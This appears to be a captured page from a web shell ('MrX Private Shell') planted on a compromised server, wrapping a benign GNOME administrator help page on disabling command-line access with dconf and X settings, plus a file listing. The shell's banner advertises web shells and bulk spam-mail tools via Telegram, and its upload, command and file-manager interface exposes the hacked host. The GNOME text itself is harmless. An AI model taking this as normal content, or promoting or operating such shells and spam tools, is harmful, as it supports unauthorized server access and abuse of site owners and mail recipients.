__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<page xmlns="http://projectmallard.org/1.0/"
      xmlns:its="http://www.w3.org/2005/11/its"
      type="topic" style="task"
      id="lockdown-command-line">

  <info>
    <link type="guide" xref="software#management" />
    <link type="guide" xref="user-settings#lockdown"/>
    <revision pkgversion="3.30" date="2019-02-08" status="review"/>

    <credit type="author copyright">
      <name>Petr Kovar</name>
      <email>[email protected]</email>
      <years>2014</years>
    </credit>
    <credit type="author copyright">
      <name>Ekaterina Gerasimova</name>
      <email>[email protected]</email>
      <years>2014</years>
    </credit>
    <credit type="author copyright">
      <name>Jana Svarova</name>
      <email>[email protected]</email>
      <years>2015</years>
    </credit>

    <include href="legal.xml" xmlns="http://www.w3.org/2001/XInclude"/>

    <desc>Prevent users from accessing the command-line.</desc>
  </info>

  <title>Disable command-line access</title>

  <p>To disable command-line access for your desktop user, you need to make
  configuration changes in a number of different contexts. Bear in mind that the
  following steps do not remove the desktop user's permissions to access a
  command line, but rather remove the ways that the desktop user could access
  the command line.</p>

  <list>
    <item>
      <p>Set the <code>org.gnome.desktop.lockdown.disable-command-line</code>
      GSettings key, which prevents the user from accessing the terminal or
      specifying a command line to be executed (the <keyseq><key>Alt</key>
      <key>F2</key></keyseq> command prompt).</p>
    </item>
    <item>
      <p>Prevent users from accessing the <keyseq><key>Alt</key><key>F2</key>
      </keyseq> command prompt.</p>
    </item>
    <item>
      <p>Disable switching to virtual terminals (VTs) with the <keyseq>
      <key>Ctrl</key><key>Alt</key><key><var>function key</var></key></keyseq>
      shortcuts by modifying the X server configuration.</p>
    </item>
    <item>
      <p>Remove <app>Terminal</app> and all other terminal applications from
      the <gui>Activities</gui> overview in GNOME Shell. You will also need to
      prevent the user from installing a new terminal application.</p>
      <comment>
        <cite>Petr Kovar</cite>
        <p>We have yet to cover removing a menu item in this guide. We don’t
        want system admins having to modify .desktop files as those could be
        overwritten on system update.</p>
      </comment>
    </item>
  </list>

<section id="command-prompt">
  <title>Disable the command prompt</title>

  <steps>
    <include href="dconf-snippets.xml"
      xpointer="xpointer(/*/*[@xml:id='dconf-profile-user'])"
      xmlns="http://www.w3.org/2001/XInclude"/>
    <item>
      <p>Create a <sys>local</sys> database for machine-wide settings in
      <file>/etc/dconf/db/local.d/00-lockdown</file>:</p>
      <code># Specify the dconf path
[org/gnome/desktop/lockdown]

# Disable the command prompt
disable-command-line=true</code>
    </item>
    <item>
      <p>Override the user’s setting and prevent the user from changing it in
      <file>/etc/dconf/db/local.d/locks/lockdown</file>:</p>
      <code># List the keys used to configure lockdown
/org/gnome/desktop/lockdown/disable-command-line</code>
    </item>
    <include href="dconf-snippets.xml"
      xpointer="xpointer(/*/*[@xml:id='dconf-update'])"
      xmlns="http://www.w3.org/2001/XInclude"/>
    <include href="dconf-snippets.xml"
      xpointer="xpointer(/*/*[@xml:id='dconf-logoutin'])"
      xmlns="http://www.w3.org/2001/XInclude"/>
  </steps>
</section>

<section id="virtual-terminal">
  <title>Disable dropping to a virtual terminal</title>

  <p>Users can normally use the
  <keyseq><key>Ctrl</key><key>Alt</key><key><var>function
  key</var></key></keyseq> shortcuts (for example,
  <keyseq><key>Ctrl</key><key>Alt</key><key>F2</key></keyseq>) to switch from
  the GNOME desktop to a virtual terminal.</p>

  <p>If the computer is running the <em>X Window System</em>, you can disable
  access to all virtual terminals by adding a <code>DontVTSwitch</code> option
  to the <code>Serverflags</code> section in an X configuration file in the
  <file>/etc/X11/xorg.conf.d/</file> directory.</p>

  <steps>
    <item>
      <p>Create or edit an X configuration file in
      <file>/etc/X11/xorg.conf.d/</file>. For example,
      <file>/etc/X11/xorg.conf.d/10-xorg.conf</file>:</p>
    <listing>
    <title><file>/etc/X11/xorg.conf.d/10-xorg.conf</file></title>
<code>Section "Serverflags"

Option "DontVTSwitch" "yes"

EndSection
</code>
    </listing>
    </item>
    <item>
      <p>Restart the X server for the changes to take effect.</p>
    </item>
  </steps>

</section>

<!-- TODO: add section for removing applications from the Activities overview. -->
</page>

Filemanager

Name Type Size Permission Actions
appearance.page File 538 B 0644
autostart-applications.page File 1.88 KB 0644
backgrounds-extra.page File 4.6 KB 0644
dconf-custom-defaults.page File 4.03 KB 0644
dconf-keyfiles.page File 3.09 KB 0644
dconf-lockdown.page File 3 KB 0644
dconf-nfs-home.page File 2.97 KB 0644
dconf-profiles.page File 3.99 KB 0644
dconf-snippets.xml File 1.62 KB 0644
dconf.page File 2.02 KB 0644
desktop-background.page File 3.75 KB 0644
desktop-favorite-applications.page File 4.34 KB 0644
desktop-lockscreen.page File 3.02 KB 0644
desktop-shield.page File 2.91 KB 0644
extensions-enable.page File 2.44 KB 0644
extensions-lockdown.page File 3.36 KB 0644
extensions.page File 1.82 KB 0644
fonts-user.page File 1.7 KB 0644
fonts.page File 2.53 KB 0644
gsettings-browse.page File 2.65 KB 0644
index.page File 593 B 0644
keyboard-compose-key.page File 2.43 KB 0644
keyboard-layout.page File 3.93 KB 0644
legal.xml File 295 B 0644
lockdown-command-line.page File 4.74 KB 0644
lockdown-file-saving.page File 2.8 KB 0644
lockdown-logout.page File 2.46 KB 0644
lockdown-online-accounts.page File 3.34 KB 0644
lockdown-printing.page File 2.74 KB 0644
lockdown-repartitioning.page File 2.92 KB 0644
lockdown-single-app-mode.page File 5.87 KB 0644
login-automatic.page File 2.59 KB 0644
login-banner.page File 2.59 KB 0644
login-enterprise.page File 4.66 KB 0644
login-fingerprint.page File 2.74 KB 0644
login-logo.page File 3.21 KB 0644
login-userlist-disable.page File 1.84 KB 0644
login.page File 687 B 0644
logout-automatic.page File 4.58 KB 0644
mime-types-application-user.page File 4.04 KB 0644
mime-types-application.page File 4.23 KB 0644
mime-types-custom-user.page File 4.03 KB 0644
mime-types-custom.page File 4.06 KB 0644
mime-types.page File 3.85 KB 0644
network-server-list.page File 2.2 KB 0644
network-vpn.page File 1.6 KB 0644
network.page File 431 B 0644
overrides.page File 1.74 KB 0644
power-dim-screen.page File 3.46 KB 0644
processes.page File 4.54 KB 0644
session-custom.page File 3.58 KB 0644
session-debug.page File 2.22 KB 0644
session-user.page File 3.05 KB 0644
setup.page File 318 B 0644
software.page File 795 B 0644
sundry.page File 387 B 0644
user-settings.page File 870 B 0644
Filemanager